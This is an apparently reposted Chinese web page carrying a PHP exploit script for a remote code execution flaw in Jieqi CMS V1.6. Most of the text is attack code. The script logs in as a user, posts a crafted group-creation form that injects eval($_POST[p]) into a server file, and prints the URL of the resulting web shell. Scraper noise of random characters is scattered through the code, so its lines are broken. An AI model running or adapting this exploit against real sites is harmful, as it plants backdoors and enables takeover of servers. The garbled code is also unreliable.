Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


: l1 U6 ^7 i' m5 G% |: n该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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<?php
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! z- J5 f) I+ q' C" E. _* Vprint_r('
# X7 f8 c# j& l+ y# {6 u) [; o4 i+---------------------------------------------------------------------------+
3 W" ^$ P0 }% B2 b/ VJieqi CMS V1.6 PHP Code Injection Exploit
" V3 C7 D7 _& e- k/ Cby flyh4t
7 Z# }) o% D; u% D1 M) E7 O$ ^mail: phpsec at hotmail dot com
team: http://www.wolvez.org
1 t/ J, Z0 f$ H+---------------------------------------------------------------------------+
'); /**
1 i8 b" O; ^7 n5 W! z * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
+ P, v' K( p1 }' ?  V! Fhost:      target server (ip/hostname)
7 B: {; q% ^. z3 }% Jpath:      path to jieqicms
uasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
; Z8 X* Z- j3 `( p+---------------------------------------------------------------------------+
& R- p6 R5 j" g2 @: e" K'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
  W2 t8 `# X0 c* xContent-Disposition: form-data; name="gname"
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'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
" B, r) e' n9 }, m" k-----------------------------23281168279961
5 P! Y  `3 D+ S: S0 iContent-Disposition: form-data; name="gcatid"
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5 p" r3 [/ B8 K+ H$ y+ T1 F1
9 a% K! G* d% B0 U/ z/ H- W-----------------------------23281168279961
' e% F* e+ w% J' g1 Z) YContent-Disposition: form-data; name="gaudit"
5 Q( E0 A" T% b5 c! D$ _* {
1
/ a6 v/ t6 K6 Q5 v) k# P-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

# T2 v9 Y7 A! H: S; {# L1 g1
6 _% w6 ]& X# o% R  N6 ~4 D-----------------------------23281168279961--
! z, g2 v8 j& n2 a'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;